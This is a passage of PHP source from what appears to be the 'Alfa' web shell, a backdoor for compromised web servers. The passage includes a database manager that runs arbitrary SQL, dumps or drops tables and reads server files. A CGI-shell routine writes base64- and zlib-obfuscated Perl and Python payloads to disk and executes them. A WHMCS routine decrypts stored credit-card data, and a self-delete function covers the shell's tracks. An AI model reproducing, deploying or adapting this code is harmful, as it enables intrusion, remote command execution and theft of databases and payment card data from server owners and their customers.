Manager |</div><p>".getConfigHtml(\'all\')."</p></center>\r\n<form name=\'sf\' method=\'post\' onsubmit=\'fs(this);return false;\'><table cellpadding=\'2\' cellspacing=\'0\'><tr>\r\n<td><div class=\\"txtfont\\">TYPE</div></td><td><div class=\\"txtfont\\">HOST</div></td><td><div class=\\"txtfont\\">DB USER</div></td><td><div class=\\"txtfont\\">DB PASS</div></td><td><div class=\\"txtfont\\">DB NAME</div></td><td></td></tr><tr>\r\n<input type=\'hidden\' name=\'a\' value=Sql><input type=\'hidden\' name=\'alfa1\' value=\'query\'><input type=\'hidden\' name=\'alfa2\' value=\'\'><input type=hidden name=c value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'UTF-8\') ."\'>\r\n<td><select name=\'type\'><option value=\'mysql\' ";\r\nif(@$_POST[\'type\']==\'mysql\')echo \'selected\';\r\necho ">MySql</option><option value=\'pgsql\' ";\r\nif(@$_POST[\'type\']==\'pgsql\')echo \'selected\';\r\necho ">PostgreSql</option></select></td>\r\n<td><input type=\'text\' name=\'sql_host\' id=\'db_host\' value=\'". (empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\'])) ."\'></td>\r\n<td><input type=\'text\' name=\'sql_login\' id=\'db_user\' value=\'". (empty($_POST[\'sql_login\'])?\'\':htmlspecialchars($_POST[\'sql_login\'])) ."\'></td>\r\n<td><input type=\'text\' name=\'sql_pass\' id=\'db_pw\' value=\'". (empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\'])) ."\'></td><td>";\r\n$tmp = "<input type=\'text\' name=\'sql_base\' id=\'db_name\' value=\'". (empty($_POST[\'sql_base\'])?\'\':htmlspecialchars($_POST[\'sql_base\'])) ."\'>";\r\nif(isset($_POST[\'sql_host\'])){\r\nif($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) {\r\n$_SESSION["sql_host"] = $_POST[\'sql_host\'];\r\n$_SESSION["sql_login"] = $_POST[\'sql_login\'];\r\n$_SESSION["sql_pass"] = $_POST[\'sql_pass\'];\r\n$_SESSION["sql_base"] = $_POST[\'sql_base\'];\r\nswitch($_POST[\'charset\']){\r\ncase "Windows-1251": $db->setCharset(\'calfa1251\'); break;\r\ncase "UTF-8": $db->setCharset(\'utf8\'); break;\r\ncase "KOI8-R": $db->setCharset(\'koi8r\'); break;\r\ncase "KOI8-U": $db->setCharset(\'koi8u\'); break;\r\ncase "calfa866": $db->setCharset(\'calfa866\'); break;\r\n}\r\n$db->setCharset(\'utf8\');\r\n$db->listDbs();\r\necho "<select name=sql_base><option value=\'\'></option>";\r\nwhile($item = $db->fetch()) {\r\nlist($key, $value) = each($item);\r\necho \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';\r\n}\r\necho \'</select>\';\r\n}\r\nelse echo $tmp;\r\n}else\r\necho $tmp;\r\necho "</td>\r\n<td><input type=\'submit\' value=\' \'></td>\r\n<td><input type=\'checkbox\' name=\'sql_count\' value=\'on\'" . (empty($_POST[\'sql_count\'])?\'\':\' checked\') . "> <div class=\\"txtfont\\">count the number of rows</div></td>\r\n</tr>\r\n</table>\r\n<script>mysql_cache[\'host\']=\'".addslashes($_POST[\'sql_host\'])."\';mysql_cache[\'user\']=\'".addslashes($_POST[\'sql_login\'])."\';mysql_cache[\'pass\']=\'".addslashes($_POST[\'sql_pass\'])."\';mysql_cache[\'db\']=\'".addslashes($_POST[\'sql_base\'])."\';mysql_cache[\'charset\']=\'".addslashes($_POST[\'charset\'])."\';mysql_cache[\'type\']=\'".addslashes($_POST[\'type\'])."\';mysql_cache[\'count\']=\'".addslashes($_POST[\'sql_count\'])."\'</script>\r\n";\r\nif(isset($db) && $db->link){\r\necho "<br/><table width=100% cellpadding=2 cellspacing=0>";\r\nif(!empty($_POST[\'sql_base\'])){\r\n$db->selectdb($_POST[\'sql_base\']);\r\necho "<tr><td width=1 style=\'border-top:2px solid #666;\'><div class=\'txtfont\'>Tables:</div><br><br>";\r\n$tbls_res = $db->listTables();\r\nwhile($item = $db->fetch($tbls_res)){\r\nlist($key, $value) = each($item);\r\nif(!empty($_POST[\'sql_count\']))\r\n$n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM `\'.$value.\'`\'));\r\n$value = htmlspecialchars($value);\r\necho "<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'>&nbsp;<a href=\'javascript:void(0);\' onclick=\\"fs(\'0\',\'".$value."\')\\"><span class=\'mysql_tables\' style=\'font-weight:unset;\'>".$value."</span></a>" . (empty($_POST[\'sql_count\'])?\'&nbsp;\':" <small><span style=\'font-weight:unset;\' class=\'mysql_table_count\'>({$n[\'n\']})</span></small>") . "</nobr><br>";\r\n}\r\necho "<p><input type=\'checkbox\' onclick=\'is();\'> <input type=\'button\' value=\' Dump \' onclick=\\"fs(\'4\');\\" class=\'button\'> <input type=\'button\' value=\' Drop ! \' onclick=\\"fs(\'5\');\\" class=\'button\'></p><div class=\'txtfont\'>File path:</div><input type=\'text\' id=\'dumpfile\' name=\'file\' value=\'dump.sql\'>".($dumpStatus?\'<p><a class="actions" href="javascript:void(0);" onclick="g(\\\'FilesTools\\\',null,\\\'dump.sql\\\', \\\'download\\\')"><font color="#0F0">~ Download File ~</font></a></p>\':\'\')."</td><td style=\'border-top:2px solid #666;\'>";\r\nif(@$_POST[\'alfa1\'] == \'select\'){\r\n$_POST[\'alfa1\'] = \'query\';\r\n$_POST[\'alfa3\'] = $_POST[\'alfa3\']?$_POST[\'alfa3\']:1;\r\n$db->query(\'SELECT COUNT(*) as n FROM `\'.$_POST[\'alfa2\'].\'`\');\r\n$num = $db->fetch();\r\n$pages = ceil($num[\'n\'] / 30);\r\necho "<span>".$_POST[\'alfa2\']."</span> ({$num[\'n\']} records) Page # <input type=text name=\'alfa3\' value=" . ((int)$_POST[\'alfa3\']) . ">";\r\necho " of $pages";\r\nif($_POST[\'alfa3\'] > 1)\r\necho " <a href=\'javascript:void(0);\' onclick=fs(\'1\',\'[\\"".$_POST[\'alfa2\']."\\",\\"".($_POST[\'alfa3\']-1)."\\"]\')>&lt; Prev</a>";\r\nif($_POST[\'alfa3\'] < $pages)\r\necho " <a href=\'javascript:void(0);\' onclick=fs(\'1\',\'[\\"".$_POST[\'alfa2\']."\\",\\"".($_POST[\'alfa3\']+1)."\\"]\')>Next &gt;</a>";\r\n$_POST[\'alfa3\']--;\r\n$cache_table = $_POST[\'alfa2\'];\r\nif($_POST[\'type\']==\'pgsql\')\r\n$_POST[\'alfa2\'] = \'SELECT * FROM `\'.$_POST[\'alfa2\'].\'` LIMIT 30 OFFSET \'.($_POST[\'alfa3\']*30);\r\nelse\r\n$_POST[\'alfa2\'] = \'SELECT * FROM `\'.$_POST[\'alfa2\'].\'` LIMIT \'.($_POST[\'alfa3\']*30).\',30\';\r\necho "<br><br>";\r\n}\r\nif((@$_POST[\'alfa1\'] == \'query\') && !empty($_POST[\'alfa2\'])) {\r\n$prikey = $db->fetch($db->query("SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = \'".@addslashes($_POST[\'sql_base\'])."\' AND TABLE_NAME = \'".@addslashes($cache_table)."\' AND COLUMN_KEY = \'PRI\'"));\r\n$db->query(@$_POST[\'alfa2\']);\r\nif($db->res !== false){\r\n$title = false;\r\necho \'<table width="100%" cellspacing="1" cellpadding="2" class="main" style="background-color:#292929" border="1">\';\r\n$line = 1;\r\nwhile($item = $db->fetch()) {\r\nif(!$title){\r\necho \'<tr><th>#</th>\';\r\nforeach($item as $key => $value){\r\necho \'<th>\'.$key.\'</th>\';\r\n}\r\nreset($item);\r\n$title=true;\r\necho \'</tr><tr>\';\r\n$line = 2;\r\n}\r\nif($cache_table!=\'\'){\r\n\t$cacheMsg = \'<a href="javascript:void(0);" onclick=fs(\\\'2\\\',\\\'["\'.$cache_table.\'","\'.(!$prikey[\'COLUMN_NAME\']?0:$prikey[\'COLUMN_NAME\']).\'","\'.__ZW5jb2Rlcg(json_encode((!$prikey[\'COLUMN_NAME\']?$item:$item[$prikey[\'COLUMN_NAME\']]))).\'"]\\\')>Edit</a>\';\r\n}else{\r\n\t$cacheMsg =\'-\';\r\n}\r\necho \'<tr class="l\'.$line.\'"><td>\'.$cacheMsg.\'</td>\';\r\n$line = $line==1?2:1;\r\nforeach($item as $key => $value){\r\nif($value == null)\r\necho \'<td><i>null</i></td>\';\r\nelse\r\necho \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';\r\n}\r\necho \'</tr>\';\r\n}\r\necho \'</table>\';\r\n} else {\r\necho \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\';\r\n}\r\n}\r\necho(\'</form>\');\r\nif((@$_POST[\'alfa1\'] == \'edit\') && !empty($_POST[\'alfa2\'])){\r\n$data = explode(\':\',$_POST[\'alfa3\']);\r\necho (\'<p><div class="txtfont">Table:</div> <font color="#0F0">\'.$data[0].\'</font></p>\');\r\necho("<form onsubmit=\'fsu(this);return false;\'><table border=\'1\'>");\r\nif($data[1] != \'0\'){\r\n$data[2] = __ZGVjb2Rlcg($data[2]);\r\n$data[2] = str_replace(\'"\',\'\',$data[2]);\r\n$fetch = $db->fetch($db->query("SELECT * FROM `".$data[0]."` WHERE `".$data[1]."` = \'".$data[2]."\'"));\r\n$fetch[\'__ALFAKEY\'] = $data[1];\r\n$fetch[\'__ALFAKEYVAL\'] = $data[2];\r\n}else{\r\n$d = __ZGVjb2Rlcg($data[2]);\r\n$fetch = json_decode($d, true);\r\n}\r\nforeach($fetch as $key => $value){\r\nif($key==\'__ALFAKEY\'||$key==\'__ALFAKEYVAL\')continue;\r\n$value = htmlspecialchars($value);\r\necho("<tr><td>$key</td><td><input name=\'$key\' value=\'$value\' /></td></tr>");\r\n}\r\necho("</table><input type=\'hidden\' name=\'__ALFADATA\' value=\'".__ZW5jb2Rlcg(json_encode(($data[1] != \'0\'?array(\'__ALFAKEY\'=>$data[1],\'__ALFAKEYVAL\'=>$data[2]):$fetch)))."\'><input type=\'hidden\' name=\'__ALFATBL\' value=\'{$data[0]}\'><input type=\'submit\' value=\' \'></form>");\r\n}\r\nif((@$_POST[\'alfa1\'] == \'update\') && !empty($_POST[\'alfa2\'])){\r\n$data = json_decode($_POST[\'alfa2\'], true);\r\n$alfadata = $data[\'__ALFADATA\'];\r\n$data2 = json_decode(__ZGVjb2Rlcg($alfadata), true);\r\n$keyval = array();\r\necho (\'<p><div class="txtfont">Table:</div> <font color="#0F0">\'.$data[\'__ALFATBL\'].\'</font></p>\');\r\necho("<form onsubmit=\'fsu(this);return false;\'><table border=\'1\'>");\r\n$set = \'\';\r\nforeach($data as $key => $value){\r\nif($key==\'__ALFATBL\'||$key==\'__ALFADATA\')continue;\r\nif($data2[\'__ALFAKEY\']==$key){\r\n$keyval[\'__ALFAKEY\'] = $key;\r\n$keyval[\'__ALFAKEYVAL\'] = $value;\r\n}\r\n$set .= "`$key` = \'".addslashes($value)."\',";\r\n$value = htmlspecialchars($value);\r\necho("<tr><td>$key</td><td><input name=\'$key\' value=\'$value\' /></td></tr>");\r\n}\r\nunset($data[\'__ALFADATA\']);\r\n\r\necho("</table><input type=\'hidden\' name=\'__ALFADATA\' value=\'".__ZW5jb2Rlcg(json_encode((isset($data2[\'__ALFAKEY\'])?array(\'__ALFAKEY\'=>$keyval[\'__ALFAKEY\'],\'__ALFAKEYVAL\'=>$keyval[\'__ALFAKEYVAL\']):$data)))."\'><input type=\'hidden\' name=\'__ALFATBL\' value=\'{$data[\'__ALFATBL\']}\'><input type=\'submit\' value=\' \'></form>");\r\n\r\nif(!isset($data2[\'__ALFAKEY\'])){\r\n$where = \'\';\r\nforeach($data2 as $key => $value){\r\nif($key==\'__ALFATBL\'||$key==\'__ALFADATA\')continue;\r\n$value = addslashes($value);\r\n$where .= "`$key` = \'$value\' AND ";\r\n}\r\n$where = substr($where, 0, -4);\r\n}else{\r\n$where = "`{$data2[\'__ALFAKEY\']}` = \'".addslashes($data2[\'__ALFAKEYVAL\'])."\'";\r\n}\r\n$set = substr($set, 0, -1);\r\n$db->fetch($db->query("UPDATE `{$data[\'__ALFATBL\']}` SET $set WHERE $where"));\r\nif($db->error())\r\necho \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\';\r\nelse echo("Success...!");\r\n}\r\nif($_POST[\'alfa1\']!=\'edit\'&&$_POST[\'alfa1\']!=\'update\'){\r\necho "<p>Query:</p><form onsubmit=\'fs(this);return false;\'>\r\n<input type=\'hidden\' name=\'alfa1\' value=\'query\'/>\r\n<textarea name=\'query\' style=\'width:100%;height:100px\'>";\r\necho $_POST[\'alfa1\']!=\'loadfile\'?htmlspecialchars($_POST[\'alfa2\']):\'\';\r\necho "</textarea><p><center><input type=submit value=\' \'></center></p></form>";\r\n}\r\necho "</td></tr>";\r\n}\r\necho "</table></form><br/>";\r\nif($_POST[\'type\']==\'mysql\') {\r\n$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, \'@\', `host`) = USER() AND `File_priv` = \'y\'");\r\nif($db->fetch())\r\necho "<form onsubmit=\\"fs(\'3\',this.f.value);return false;\\"><div class=\'txtfont\'>Load file:</div> <input class=\'toolsInp\' type=\'text\' name=\'f\'> <input type=\'submit\' value=\' \'></form>";\r\n}\r\nif(@$_POST[\'alfa1\'] == \'loadfile\'){\r\n$file = $db->loadFile($_POST[\'alfa2\']);\r\necho \'<pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';\r\n}\r\n}else{\r\necho htmlspecialchars($db->error());\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction alfaselfrm(){\r\nif(isset($_POST[\'alfa1\'])&&$_POST[\'alfa1\']==\'yes\'){\r\necho(__pre().\'<center>\');\r\nif(@unlink($GLOBALS[\'__file_path\'])){\r\necho(\'<b>Shell has been removed</i> :)</b>\');\r\n}else{\r\necho \'unlink error!\';\r\n}\r\necho(\'</center>\');\r\n}\r\nif(isset($_POST[\'alfa1\'])&&$_POST[\'alfa1\']!=\'yes\'){\r\necho "<div class=header>";\r\necho "\r\n<center><p><img src=\\"http://solevisible.com/images/farvahar-iran.png\\"></p>";\r\necho \'<p><div class="txtfont">Do you want to destroy me?!</div><a href=javascript:void(0) onclick="g(\\\'selfrm\\\',null,\\\'yes\\\');"> Yes</a>\';\r\necho \'</p></center></div>\';\r\n}\r\n}\r\nfunction alfacgishell(){\r\nalfahead();\r\n$div = "";\r\nif(!in_array($_POST[\'alfa1\'],array(\'perl\',\'py\'))){\r\n$div = "</div>";\r\necho \'<div class=header><center><p><div class="txtfont_header">| CGI Shell |</div></p><h3><a href=javascript:void(0) onclick="runcgi(\\\'perl\\\')">| Perl | </a><a href=javascript:void(0) onclick="runcgi(\\\'py\\\');">| Python | </a>\';\r\n}\r\nif(isset($_POST[\'alfa1\'])&&in_array($_POST[\'alfa1\'],array(\'perl\',\'py\'))){\r\n@mkdir(\'cgialfa\',0755);\r\n@chdir(\'cgialfa\');\r\nalfacgihtaccess(\'cgi\');\r\n$name = $_POST[\'alfa1\'].\'.alfa\';\r\n$perl = \'#!/usr/bin/perl   -I/usr/local/bandmin\'."\\n".\'use MIME::Base64;use Compress::Zlib;eval(Compress::Zlib::memGunzip(decode_base64("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")));\';;\r\n$py = \'#!/usr/bin/python\'."\\nimport zlib, base64\\n".\'eval(compile(zlib.decompress(base64.b64decode("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")),\\\'<string>\\\',\\\'exec\\\'))\';\r\nif($_POST[\'alfa1\']==\'perl\'){$code = $perl;}else{$code = $py;}\r\nif(__write_file($name,$code)){\r\n@chmod($name,0755);\r\necho \'<iframe src="\'.\'cgialfa/\'.$name.\'" width="100%" height="600px" frameborder="0" style="opacity:0.9;filter: alpha(opacity=9);overflow:auto;"></iframe>\';\r\n}\r\n}\r\necho $div;\r\nalfafooter();\r\n}\r\nfunction alfaWhmcs(){\r\nalfahead();\r\necho \'<div class=header>\';\r\nfunction decrypt($string,$cc_encryption_hash){\r\n$key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);\r\n$hash_key = _hash($key);\r\n$hash_length = strlen ($hash_key);\r\n$string = __ZGVjb2Rlcg($string);\r\n$tmp_iv = substr ($string, 0, $hash_length);\r\n$string = substr ($string, $hash_length, strlen ($string) - $hash_length);\r\n$iv = $out = \'\';\r\n$c = 0;\r\nwhile ($c < $hash_length)\r\n{\r\n$iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));\r\n++$c;\r\n}\r\n$key = $iv;\r\n$c = 0;\r\nwhile ($c < strlen ($string))\r\n{\r\nif (($c != 0 AND $c % $hash_length == 0))\r\n{\r\n$key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));\r\n}\r\n$out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));\r\n++$c;\r\n}\r\nreturn $out;\r\n}\r\nfunction _hash($string)\r\n{\r\nif(function_exists(\'sha1\'))\r\n{\r\n$hash = sha1 ($string);\r\n}\r\nelse\r\n{\r\n$hash = md5 ($string);\r\n}\r\n$out = \'\';\r\n$c = 0;\r\nwhile ($c < strlen ($hash))\r\n{\r\n$out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));\r\n$c += 2;\r\n}\r\nreturn $out;\r\n}\r\nAlfaNum(8,9,10);\r\necho "<center><br><div class=\'txtfont_header\'>| 